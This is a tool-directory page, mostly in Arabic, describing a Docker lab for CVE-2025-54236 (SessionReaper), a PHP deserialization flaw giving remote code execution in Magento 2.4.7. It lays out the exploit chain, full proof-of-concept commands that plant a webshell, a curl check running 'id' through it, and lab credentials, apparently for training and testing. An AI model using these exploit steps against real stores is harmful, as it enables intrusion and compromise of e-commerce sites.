Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
session_reaper_lab — بيئة Docker لتقديم عرض توضيحي عملي لثغرة CVE-2025-54236 (SessionReaper): إلغاء تسلسل كائنات PHP (PHP Object Deserialization) المؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) في Magento Open Source 2.4.7 | Kitploit
أدوات/GitHubGitHub/brito101/session_reaper_lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubbrito101/session_reaper_lab

session_reaper_lab

بيئة Docker لتقديم عرض توضيحي عملي لثغرة CVE-2025-54236 (SessionReaper): إلغاء تسلسل كائنات PHP (PHP Object Deserialization) المؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) في Magento Open Source 2.4.7

عرض المستودع
3منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-54236 - مختبر SessionReaper

بيئة Docker للعرض العملي لـ CVE-2025-54236 (SessionReaper): PHP Object Deserialization المؤدي إلى RCE في Magento Open Source 2.4.7.

للاستخدام الحصري في بيئة خاضعة للتحكم. لا تقم بالتنفيذ ضد أنظمة بدون إذن صريح.


حول الثغرة

CVE-2025-54236 تؤثر على Magento Open Source وAdobe Commerce حتى الإصدار 2.4.7. تقبل طريقة ServiceInputProcessor::getConstructorData() معاملات متداخلة عبر JSON تسمح بتجاوز session.save_path - المجلد الذي يخزن فيه PHP ملفات الجلسة.

سلسلة الاستغلال:

  1. يتم إرسال ملف PHP متسلسل (سلسلة أدوات Guzzle/FW1 عبر phpggc) عبر /customer/address_file/upload، والذي يحفظه في pub/media/customer_address/s/e/sess_<id>.
  2. يقوم طلب إلى REST API بحقن {"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} كمعامل للمنشئ.
  • يستدعي PHP الدالة session_start() مع PHPSESSID المُزيّف، ويزيل تسلسل سلسلة الأدوات، ويكتب ويب شيل في pub/errors/.
  • المتطلب الأساسي: جلسات PHP مهيأة كـ file-based (وليس Redis/Memcached).

    • CVSS: 9.1 (حرجة)
    • الإصدارات المتأثرة: Magento Open Source / Adobe Commerce ≤ 2.4.7

    هيكل المستودع

    root@kitploit:~
    magento/
    ├── lab-magento/              # Docker lab (Magento 2.4.7 vulnerável)
    │   ├── Dockerfile            # PHP 8.2-FPM com extensões Magento
    │   ├── docker-compose.yml    # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
    │   ├── .env                  # Configurações do ambiente
    │   ├── conf/
    │   │   ├── nginx/            # VirtualHost nginx
    │   │   └── php/magento.ini   # Sessões file-based, memory_limit=2G
    │   └── scripts/
    │       ├── 01-install.sh     # Instalação completa do zero
    │       └── 02-demo-setup.sh  # Prepara produto, payload e imprime instruções
    ├── SessionReaper-CVE-2025-54236/
    │   └── session_reaper.py     # PoC principal (autor: alexb616)
    └── payloads/
        ├── shell.php             # Webshell com aspas simples (evita escape JSON)
        └── sess_payload.bin      # Gadget chain serializada (gerado pelo script)
    

    المتطلبات

    • Docker Engine 24+
    • Docker Compose v2 (docker compose)
    • PHP CLI (لـ phpggc) أو Docker مع صورة ambionics/phpggc متاحة
    • phpggc - https://github.com/ambionics/phpggc
      • يبحث session_reaper.py عن الملف الثنائي في: PATH الخاص بالنظام، ~/phpggc/phpggc، /opt/phpggc/phpggc، وكبديل احتياطي، يسحب صورة Docker ambionics/phpggc تلقائيًا
    • Python 3.8+ مع requests (pip install requests)
    • WSL2 / Linux (على WSL2، قد تحتاج إلى: sudo sysctl -w vm.max_map_count=262144 من أجل Elasticsearch)

    التثبيت

    root@kitploit:~
    cd lab-magento
    
    # 1. Instalar Magento 2.4.7 do zero (~25 minutos)
    bash scripts/install.sh
    

    يقوم install.sh بـ:

    • بناء صورة PHP المخصصة
    • يشغّل الحاويات الخمس (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
    • يستنسخ Magento 2.4.7 عبر Git (بدون حساب Marketplace)
    • ينفّذ composer install --no-dev
    • يشغّل setup:install مع جلسات file-based
    • يضبط وضع default (وليس developer - يمنع تحويل تحذيرات PHP 8.2 إلى استثناءات)
    • يعطّل 2FA لتسهيل الوصول إلى لوحة الإدارة
    • ينفّذ setup:static-content:deploy
    • يصحح أذونات www-data في جميع المراحل

    تشغيل الاستغلال

    بعد التثبيت، من المجلد الجذر (/magento/):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method order \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    التحقق من RCE:

    root@kitploit:~
    curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
    # Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    طريقة بديلة (متجه address، مع منتج حقيقي):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method address \
        --sku DEMO-001 \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    بيانات اعتماد المختبر

    الخدمةالرابط / المضيفبيانات الاعتماد
    متجر Magentohttp://localhost:8080/-
    إدارة Magentohttp://localhost:8080/admin/admin / Admin123!
    MySQLlocalhost:3306magento / magento
    Elasticsearchlocalhost:9200-

    يتم إنشاء URI الخاصة بلوحة الإدارة عشوائيًا أثناء التثبيت. للعثور عليها:

    root@kitploit:~
    docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
    

    المراقبة

    root@kitploit:~
    # Sessões criadas pelo exploit
    docker exec lab_magento_php ls -la /var/www/html/var/session/
    
    # Arquivo de sessão malicioso em media/
    docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
    
    # Logs em tempo real
    docker logs lab_magento_nginx -f
    docker logs lab_magento_php -f
    

    التنظيف

    root@kitploit:~
    # Remover webshell
    docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
    
    # Parar containers
    docker compose -f lab-magento/docker-compose.yml down
    
    # Destruir tudo (containers + volumes)
    docker compose -f lab-magento/docker-compose.yml down -v
    

    تفاصيل تقنية

    لماذا استخدام علامات الاقتباس المفردة في الويب شيل؟ يقوم phpggc Guzzle/FW1 بتسلسل الحمولة كـ JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. محتوى PHP مشفّر بصيغة JSON، لذا " تتحول إلى \". استخدام $_GET["cmd"] سينتج $_GET[\"cmd\"] - خطأ تحليل في PHP. الحل هو كتابة الويب شيل بعلامات اقتباس مفردة: $_GET['cmd'].

    لماذا الوضع default وليس developer؟ يحوّل Magento في وضع developer جميع تحذيرات PHP إلى استثناءات. يصدر PHP 8.2 تحذير Warning: Trying to access array offset on null في lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114، والذي يتحول إلى استثناء 500 في لوحة الإدارة. في وضع default يتم تجاهل التحذير.

    لماذا توجد الملفات في s/e/؟ ينظّم Magento رفع العناوين في pub/media/customer_address/{1º char}/{2º char}/filename. بالنسبة لملفات sess_*، الحرف الأول هو s والثاني e، مما ينتج دائمًا pub/media/customer_address/s/e/.


    المراجع

    • NVD - CVE-2025-54236
    • PoC الأصلي - alexb616/SessionReaper-CVE-2025-54236
    • phpggc - ambionics/phpggc
    • Adobe Security Bulletin APSB25-94
    تنزيل الأداة